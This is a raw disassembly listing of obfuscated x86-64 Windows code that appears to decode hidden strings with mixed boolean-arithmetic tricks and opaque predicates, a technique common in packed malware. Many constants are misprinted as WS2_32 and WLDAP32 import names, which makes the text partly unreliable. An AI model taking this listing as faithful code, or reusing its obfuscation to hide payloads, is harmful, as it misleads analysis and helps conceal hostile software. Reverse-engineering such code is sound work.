sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
jmp 0x14008f71c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008f426
movabs rcx, 0x9bcb956a47eb124d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1b
jmp 0x14008f71c
inc rax
cmp r8, rax
jne 0x14008f45f
movabs rcx, 0x26d61c30b3da2733
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
inc r9
dec rbx
inc rbx
jmp 0x14008ed12
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008f496
movabs rcx, 0xb1e0a2f71fc93c19
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x51
dec rbx
inc rbx
jmp 0x14008ed12
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008f11d
movabs rcx, 0xde0abe10cf858fb1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x29
jmp 0x14008f7d3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008f509
movabs rcx, 0xcfba1c8db5396dbc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
movzx eax, byte [rbp + rbx + 0x718]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008ed12
inc rax
cmp r8, rax
jne 0x14008f539
movabs rcx, 0x5ac4a354212882a2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
jmp 0x14008f803
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008f56f
movabs rdx, 0xe5cf2a1a8d179788
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008f7d3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008f0cf
movabs rcx, 0xfbe437a764f5c154
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x14008f79a
mov byte [rbp + rbx + 0x718], cl
movzx r10d, cl
inc rbx
jmp 0x14008ed12
movabs rdx, 0x3e23604dec903eb8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0x718]
sub r10b, al
sub r10b, 8
add r10b, r11b
add r10b, dl
jmp 0x14008f6aa
movabs rcx, 0xc92de714587f539e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x718]
lea r10d, [r11 + rcx]
sub r10b, 0x52
jmp 0x14008f7d3
movabs rcx, 0x174d441d38b61785
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5d
movzx eax, byte [rbp + rbx + 0x718]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008ed12
movabs rcx, 0x138369060d7edb9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xf
jmp 0x14008f7d3
movabs rcx, 0xeb23290388f9c3ed
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7b
jmp 0x14008f79a
movabs rcx, 0x6018a23d1d0aaf07
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x31
movabs rdx, 0x3a8a3b12287c92b
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x2d
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x718], cl
jmp 0x14008f79a
movabs rcx, 0xbef90de9d93d7055
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x53
jmp 0x14008f71c
movabs rcx, 0xa8e4005d015f4689
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
movabs rcx, 0x789e1ceab698b445
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x1d
add r11b, cl
mov byte [rbp + rbx + 0x718], r11b
inc r9
dec rbx
inc rbx
jmp 0x14008ed12
movabs rcx, 0x92cef2d029811cbd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2b
dec rbx
inc rbx
jmp 0x14008ed12
movabs rcx, 0x7cb9e54351a2f2f1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x69
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008ed12
mov r11, rdx
movabs rcx, 0x66a4d7b679c4c925
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 3
movabs rcx, 0x8eb32a778e76de11
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x77
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x718], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x54386ddac46e6884
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x718], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x718]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008ed12
movabs rcx, 0x508fca29a1e69f59
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x6f
movzx eax, byte [rbp + rbx + 0x718]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008ed12
movabs rcx, 0x9e3c028b099aedbf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x39
jmp 0x14008ed10
movabs rcx, 0x13317bc49dabd8d9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x11
jmp 0x14008ed00
lea rcx, [rbp + 0x1510c5c]
jmp 0x14008f8e8
lea rcx, [rbp + 0x4896cf]
jmp 0x14008f8e8
lea rcx, [rbp + 0x718]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140227ea0]
lea rcx, [rbp + 0x6f8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov r14, rax
mov byte [rbp + 0x740], 0x52
mov byte [rbp + 0x741], 0x7e
mov byte [rbp + 0x742], 0x82
mov byte [rbp + 0x743], Ordinal_45
mov byte [rbp + 0x744], 0x62
mov byte [rbp + 0x745], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x746], Ordinal_143
mov byte [rbp + 0x747], Ordinal_143
mov byte [rbp + 0x748], 0x65
mov byte [rbp + 0x749], WSACleanup
mov byte [rbp + 0x74a], 2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x74b], xmm0
mov qword [rbp + 0x75b], rax
movabs r15, 0x830472d93c13a42a
movabs r12, 0x877e8bb9f5a4b512
movzx ebx, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor esi, esi
movabs rcx, 0x67c3426bde4a1402
cmp rsi, 0x23
jae 0x14009059b
movzx edi, byte [rbp + rsi + 0x740]
mov rdx, rdi
cmp r8, rsi
ja 0x14009058f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008fa02
add rcx, rsi
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0xe
jmp 0x14008fa50
je 0x14009050d
inc rax
cmp r8, rax
je 0x1400904a4
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009044c
lea rax, [r9 + 3]
cmp r8, rax
je 0x140090413
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400903b0
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009035d
nop dword [rax + rax]
cmp r9, rsi
ja 0x140090583
lea rax, [r9 + 3]
cmp r8, rax
jae 0x14008fa82
lea rdx, [rsi + r15]
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x14008fab5
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009033b
inc rax
cmp r8, rax
je 0x140090310
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400902e7
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400902ae
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x14008fec9
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x14008fea7
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008fe7c
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14008fe5a
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14008fe26
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008fdf0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008fdc9
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14008fad0
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140090561
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14009053f
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008fc18
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14008fbff
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14008fd6b
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008fd1d
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14008fcf1
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x80]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14008fcbe
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008fc9c
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14008fc88
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14008fc74
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14008fc47
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008fad0
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 6]
jmp 0x14008fad0
lea rcx, [rsi + r12]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x7e
jmp 0x14008fa50
movabs rdx, 0xb7f806e239108d0e
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub dl, 0x62
add bl, dl
movabs rcx, 0x67c3426bde4a1402
jmp 0x14008f9ce
movabs rdx, 0x79168d1a6774d148
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
dec rsi
inc rsi
jmp 0x14008f9b2
movabs rdx, 0xa9900842aae0a944
mov ecx, reloc.WS2_32.dll_select
jmp 0x1400903bf
movabs rdx, 0xda09836aee4c8140
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140090422
movabs rcx, 0x6b75f4e3b8900934
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x6c
jmp 0x1400904c3
movabs rcx, 0x9bef700bfbfbe130
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x50
movzx eax, byte [rbp + rsi + 0x740]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14008f9b2
movabs rcx, 0x951f23f0a4897d26
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0xa
mov byte [rbp + rsi + 0x740], bl
inc rsi
jmp 0x14008f9b2
movabs rdx, 0xc5989f18e7f55522
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
cmp r9, 0x64
jb 0x14008fd0e
movabs rcx, 0x57cc76fa9183f8cc
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, dil
lea ebx, [rcx*2 - 0x28]
jmp 0x14009037a
movabs rdx, 0xf6121a412b612d1e
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
cmp r8, 0xa
jae 0x140090257
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140090127
movabs rdx, 0x3c8b468d33ba68a4
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x7c
add bl, dl
jmp 0x14008fd3f
movabs rdx, 0x730da767ef4d88f4
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14009046b
movabs rdx, 0xa387229032b960f0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008f9b2
movabs rcx, 0xd4009db8762538ec
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x74
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008f9b2
movabs rcx, 0x47a18e0b99110e8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x58
jmp 0x1400903d2
movabs rcx, 0x656d0f314068c0e0
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x20
inc r9
dec rsi
inc rsi
jmp 0x14008f9b2
movabs rcx, 0x95e68a5983d498dc
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 4
jmp 0x14009037a
lea rax, [r9 + 5]
cmp r8, rax
jae 0x14008ff35
movabs rdx, 0x67c3426bde4a1402
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0xe
add bl, dl
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x140090280
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x140090061
movabs rcx, 0xb986d3b3f7a6c47a
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x56
jmp 0x14008fd8d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008ff75
movabs rcx, 0x608e5b278274854
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x4c
movzx eax, byte [rbp + rsi + 0x740]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14008f9b2
inc rax
cmp r8, rax
jne 0x14008ffa3
movabs rcx, 0xd58f6a8a34bb7058
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x68
jmp 0x1400904c3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008ffd7
movabs rdx, 0xa515ef61f14f985c
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14009046b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008fff8
movabs rdx, 0x13a97de9270c1068
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400903bf
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140090032
movabs rdx, 0xe33002c0e3a0386c
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
dec rsi
inc rsi
jmp 0x14008f9b2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008fef6
movabs rcx, 0x823d0c705cc88874
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x2c
jmp 0x14009037a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140090093
movabs rdx, 0x890d588bb43aec7e
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x72
add bl, dl
jmp 0x14009037a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400900b4
movabs rdx, 0xc7276beaa68b8c8e
mov ecx, reloc.WS2_32.dll_ntohs
jmp 0x140090422
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400900e6
movabs rdx, 0x6634759a1fb3dc96
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x1a
add bl, dl
jmp 0x14009046b
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14008fd8d
movabs rcx, 0x5417f4998dc2c9e
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x52
movzx eax, byte [rbp + rsi + 0x740]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14008f9b2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009016c
movabs rdx, 0xc11cb64f04e90a8
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, byte [rbp + rsi + 0x740]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14008f9b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400901af
movabs rdx, 0x7aa559ec260b08b4
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008f9b2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400901f0
movabs rcx, 0x4a2bdec3e29f30b8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 8
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008f9b2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140090228
movabs rcx, 0xb8bf6d4b185ba8c4
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x5c
inc r9
dec rsi
inc rsi
jmp 0x14008f9b2
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14008fd3f
movabs rcx, 0x8845f222d4efd0c8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x78
jmp 0x14009037a
movabs rdx, 0x2752fbd24e1820d0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + rsi + 0x740]
jmp 0x1400903cd
movabs rdx, 0xf6d980aa0aac48d4
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + rsi + 0x740]
add bl, dl
add bl, dil
jmp 0x14009046b
movabs rdx, 0x90a50b0feaf86c3e
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008f9b2
movabs rcx, 0xf198016071d01c36
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x7a
dec rsi
inc rsi
jmp 0x14008f9b2
movabs rcx, 0x22117c88b53bf432
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x5e
inc r9
dec rsi
inc rsi
jmp 0x14008f9b2
movabs rcx, 0x528af7b0f8a7cc2e
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x42
jmp 0x14009037a
movabs rcx, 0xb37dee017f7f7c26
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0xa
movabs rdx, 0xbf8fb9666fce0cce
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dil
add cl, dl
mov byte [rbp + rsi + 0x740], cl
inc r9
dec rsi
inc rsi
jmp 0x14008f9b2
movabs rdx, 0x44ea5f7a49c3041a
mov ecx, Ordinal_41
add rdx, rsi
movzx eax, dl
and al, dil
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movabs rdx, 0x8f163e3e2c6234d2
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, dil
mov byte [rbp + rsi + 0x740], cl
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008f9b2
movabs rdx, 0x7563daa28d2edc16
mov ecx, 0x33
add rdx, rsi
movzx eax, dl
and al, dil
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008f9b2
mov rdi, rdx
movabs rcx, 0xd656d0f314068c0e
add rcx, rsi
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x62
movabs rdx, 0x5e9cc315e8f65cd6
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, dl
add cl, dil
movzx eax, cl
mov byte [rbp + rsi + 0x740], al
inc r9
add rax, r9
sub rsi, rax
jmp 0x1400904c3
movabs rcx, 0x6d04c1b5772640a
add rcx, rsi
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x46
movzx edi, dl
movabs rdx, 0xc6600581c74070d8
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, dil
add cl, dl
mov byte [rbp + rsi + 0x740], cl
inc r8
mov rax, r13
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0x740]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14008f9b2
movabs rcx, 0x3749c7439ade3c06
add rcx, rsi
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x2a
movzx eax, byte [rbp + rsi + 0x740]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14008f9b2
movabs rcx, 0xe871820a7c7c650a
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x46
jmp 0x14008f9ae
movabs rcx, 0x18eafd32bfe83d06
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x2a
jmp 0x14008f996
lea rcx, [rbp + 0x1457898]
jmp 0x1400905a2
lea rcx, [rbp + 0x8f8c9a]
jmp 0x1400905a2
lea rcx, [rbp + 0x740]
mov rdx, r14
call fcn.140035c60
lea rdx, [0x140227de0]
lea rcx, [rbp + 0xf8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov rsi, rax
mov byte [rbp + 0x768], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x769], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x76a], 0x63
mov byte [rbp + 0x76b], 0x60
mov byte [rbp + 0x76c], 0x61
mov byte [rbp + 0x76d], 0x77
mov byte [rbp + 0x76e], Ordinal_41
mov byte [rbp + 0x76f], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x770], 0x61
mov byte [rbp + 0x771], 0x7a
mov byte [rbp + 0x772], 0x7f
mov byte [rbp + 0x773], WSASetLastError
mov byte [rbp + 0x774], 0x60
mov byte [rbp + 0x775], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x776], xmm0
mov dword [rbp + 0x786], eax
mov byte [rbp + 0x78a], al
movabs r14, 0xae37f02a439f5aa0
movabs r15, 0x5c96d423f05bb960
movabs r12, 0x2daa4e2f61bc920
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
movabs rdx, 0x2cde17a07d1ff820
cmp rdi, 0x23
jae 0x1400913a7
movzx ebx, byte [rbp + rdi + 0x768]
mov r10, rbx
cmp r8, rdi
ja 0x14009139b
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400906e4
lea rcx, [rdi + rdx]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x20
jmp 0x140090710
je 0x14009130a
inc rax
cmp r8, rax
je 0x140091272
lea rax, [r9 + 4]
cmp r8, rax
je 0x140091249
lea rax, [r9 + 5]
cmp r8, rax
je 0x140091218
cmp r9, rdi
ja 0x14009138f
lea rax, [r9 + 3]
cmp r8, rax
jae 0x140090740
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x140090780
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400911c6
lea rax, [r9 + 3]
cmp r8, rax
je 0x140091198
lea rax, [r9 + 5]
cmp r8, rax
je 0x140091170
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009113c
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x140090d7f
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140090d5b
lea rax, [r9 + 8]
cmp r8, rax
je 0x140090d33
lea rax, [r9 + 2]
cmp r8, rax
je 0x140090d1f
lea rax, [r9 + 6]
cmp r8, rax
je 0x140090d10
lea rax, [r9 + 1]
cmp r8, rax
je 0x140090ced
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140090cbe
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140090caa
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140090c87
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140090c53
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140090790
lea r8, [r9 + 4]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140091367
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140091344
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140090986
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140090967
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140090948
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140090bf4
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140090b97
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140090b49
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140090b16
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140090790
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140090ae6
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140090abe
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140090a9b
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140090a68
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140090a49
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140090a27
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400909fe
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400909d2
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400909b3
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140090790
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x7a]
jmp 0x140090790
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140090780
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140090710
movabs rcx, 0xa91e75a1fbdbd8e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movabs rdx, 0x2cde17a07d1ff820
jmp 0x1400906ae
